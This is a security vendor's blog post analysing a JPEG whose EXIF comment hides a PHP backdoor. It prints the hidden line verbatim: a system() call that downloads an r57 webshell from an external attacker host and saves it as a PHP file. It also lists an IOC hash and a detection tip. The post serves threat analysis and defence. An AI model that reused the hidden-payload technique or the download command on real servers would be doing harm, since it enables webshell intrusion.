Loading...
Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Hiding PHP Code in Image Files Revisited

Over five years ago, we published a blog detailing how a webshell’s backdoor code was hidden in an image file. With this method, an attacker inserts PHP backdoor code in the meta-data headers of an image to circumvent detection. Though not entirely a new tactic at that time, fast forward five years and we continue to encounter this type of attack. This blog outlines another similar case we recently uncovered. We are highlighting the topic again to raise awareness, as well as showing another technique the attacker utilizes to deliver a webshell to the compromised system.

This following JPG image is seemingly benign.

Zap

However, taking a closer look at the JPG binary in hex viewer, we can see that there is something fishy going on here:

Jpg_hex

PHP code is clearly visible and is actually part of the JPG file’s EXIF header. EXIF  or Exchangeable image format is a standard that specifies the formats for images, sound, ancillary tags used by digital cameras, scanners and other devices. We can use PHP’s inbuilt exif_read_data() function to extract that image EXIF metadata

php > $exif = exif_read_data(__DIR__.'/98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa'); // read the jpeg sample's exif header

When printing the EXIF header, we can expose the entire EXIF header. The malicious PHP script is stored in the comment section of the EXIF header. 

php > print_r($exif); // print the exif header
Array
(
    [FileName] => 98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa
    [FileDateTime] => 1554614278
    [FileSize] => 33903
    [FileType] => 2
    [MimeType] => image/jpeg
    [SectionsFound] => COMMENT
    [COMPUTED] => Array
        (
            [html] => width="180" height="198"
            [Height] => 198
            [Width] => 180
            [IsColor] => 1
        )

    [COMMENT] => Array
        (
            [0] => <?php ob_clean(); system("lynx -source http://c0debank.altervista.org/r57.txt > r57.php"); die(); ?>
        )

)

And we will be able to read this comment section by reading the comment array:

php > print_r($exif[COMMENT][0]);
<?php ob_clean(); system("lynx -source http://c0debank.altervista.org/r57.txt > r57.php"); die(); ?>

This script downloads a text file from the attacker's host and saves it with a .php file extension in the compromised system.

 At the time of this writing, the host is unreachable.

Wget

But based on the filename, this could be the r57 webshell

Unlike our previous blog, the attacker didn’t stash the entire webshell in the header but utilized a staging method by downloading the webshell from an external host. This is probably to make it less conspicuous and to make the file size smaller.

Screen grab of the webshell:

Webshell

It seems that c0debank.altervista.org was used to host a webpage that sells Banking trojan that targets Brazilian bank. Here's a web archive link:  

http://web.archive.org/web/20080929215714/http://c0debank.altervista.org/

Summary:

Image formats such as JPEG can seemingly be unharmful and many filters and gateways let this file format pass without too much scrutiny. Based on this premise, attackers leverage this file format to hide malicious code. Scanning for PHP tags in image files can certainly help to detect and block this type of attack.

IOCs:

Image file:
SHA256: 98F4D81CB7C00202522A256C5144218435CE07536608192A7A5103BB8E03EBFA

Recent SpiderLabs Blog Posts